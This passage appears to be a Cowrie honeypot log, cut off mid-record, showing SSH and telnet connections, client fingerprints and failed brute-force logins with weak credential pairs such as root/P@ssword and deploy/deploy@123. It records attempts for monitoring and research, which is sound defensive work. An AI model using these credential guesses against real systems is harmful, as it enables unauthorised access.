{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38018,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0f41c36119c","protocol":"ssh","message":"New connection: 159.203.92.129:38018 (159.203.135.109:22) [session: c0f41c36119c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:45:49.353874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:45:49.363906Z","src_ip":"159.203.92.129","session":"c0f41c36119c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:45:49.367728Z","src_ip":"159.203.92.129","session":"c0f41c36119c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"at","password":"12","message":"login attempt [at/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:45:49.389080Z","src_ip":"159.203.92.129","session":"c0f41c36119c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":34464,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2ece2dd79ad","protocol":"ssh","message":"New connection: 103.182.132.154:34464 (159.203.135.109:22) [session: b2ece2dd79ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:45:50.247188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:45:50.253245Z","src_ip":"103.182.132.154","session":"b2ece2dd79ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:45:50.396446Z","src_ip":"159.203.92.129","session":"c0f41c36119c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:45:50.469136Z","src_ip":"103.182.132.154","session":"b2ece2dd79ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vpn2024","message":"login attempt [root/vpn2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:45:51.354079Z","src_ip":"103.182.132.154","session":"b2ece2dd79ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:45:52.571234Z","src_ip":"103.182.132.154","session":"b2ece2dd79ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":59262,"dst_ip":"159.203.135.109","dst_port":22,"session":"58c598f8fb09","protocol":"ssh","message":"New connection: 122.168.114.167:59262 (159.203.135.109:22) [session: 58c598f8fb09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:45:57.215433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:46:01.323333Z","src_ip":"122.168.114.167","session":"58c598f8fb09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:46:01.327422Z","src_ip":"122.168.114.167","session":"58c598f8fb09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":41886,"dst_ip":"159.203.135.109","dst_port":22,"session":"8172876b71ed","protocol":"ssh","message":"New connection: 159.223.45.177:41886 (159.203.135.109:22) [session: 8172876b71ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:46:02.195726Z"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:46:05.325177Z","src_ip":"159.223.45.177","session":"8172876b71ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:46:16.755794Z","src_ip":"122.168.114.167","session":"58c598f8fb09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":40124,"dst_ip":"159.203.135.109","dst_port":22,"session":"deff3df310ef","protocol":"ssh","message":"New connection: 202.4.106.201:40124 (159.203.135.109:22) [session: deff3df310ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:46:16.938256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:46:16.944343Z","src_ip":"202.4.106.201","session":"deff3df310ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:46:17.209999Z","src_ip":"202.4.106.201","session":"deff3df310ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"0000000","message":"login attempt [ubuntu/0000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:46:18.301956Z","src_ip":"202.4.106.201","session":"deff3df310ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:46:19.569161Z","src_ip":"202.4.106.201","session":"deff3df310ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.2","message":"Connection lost after 23.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:46:20.463697Z","src_ip":"122.168.114.167","session":"58c598f8fb09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":55878,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfe2ee7de673","protocol":"telnet","message":"New connection: 212.47.75.195:55878 (159.203.135.109:23) [session: dfe2ee7de673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:46:25.030691Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46580,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1bcc89d54e1","protocol":"ssh","message":"New connection: 159.203.92.129:46580 (159.203.135.109:22) [session: f1bcc89d54e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:46:29.600200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:46:29.604805Z","src_ip":"159.203.92.129","session":"f1bcc89d54e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:46:29.608918Z","src_ip":"159.203.92.129","session":"f1bcc89d54e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"at","password":"123","message":"login attempt [at/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:46:29.617887Z","src_ip":"159.203.92.129","session":"f1bcc89d54e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:46:30.624596Z","src_ip":"159.203.92.129","session":"f1bcc89d54e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":33442,"dst_ip":"159.203.135.109","dst_port":22,"session":"38362317fb82","protocol":"ssh","message":"New connection: 122.168.114.167:33442 (159.203.135.109:22) [session: 38362317fb82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:46:40.559589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:46:42.482878Z","src_ip":"122.168.114.167","session":"38362317fb82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:46:42.502932Z","src_ip":"122.168.114.167","session":"38362317fb82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:46:51.078395Z","src_ip":"122.168.114.167","session":"38362317fb82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":41320,"dst_ip":"159.203.135.109","dst_port":22,"session":"43fa041e3514","protocol":"ssh","message":"New connection: 103.182.132.154:41320 (159.203.135.109:22) [session: 43fa041e3514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:46:52.086872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:46:52.091442Z","src_ip":"103.182.132.154","session":"43fa041e3514","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:46:52.305153Z","src_ip":"103.182.132.154","session":"43fa041e3514","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"888888","message":"login attempt [ubuntu/888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:46:53.192389Z","src_ip":"103.182.132.154","session":"43fa041e3514","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.8","message":"Connection lost after 13.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:46:54.385938Z","src_ip":"122.168.114.167","session":"38362317fb82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:46:54.408309Z","src_ip":"103.182.132.154","session":"43fa041e3514","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.557140350341797,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:46:56.587706Z","src_ip":"212.47.75.195","session":"dfe2ee7de673","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":46654,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c9bc3e7dca4","protocol":"telnet","message":"New connection: 185.26.126.47:46654 (159.203.135.109:23) [session: 3c9bc3e7dca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:07.388884Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40014,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c20d2fb2bb3","protocol":"ssh","message":"New connection: 159.203.92.129:40014 (159.203.135.109:22) [session: 9c20d2fb2bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:10.605687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:10.611084Z","src_ip":"159.203.92.129","session":"9c20d2fb2bb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com",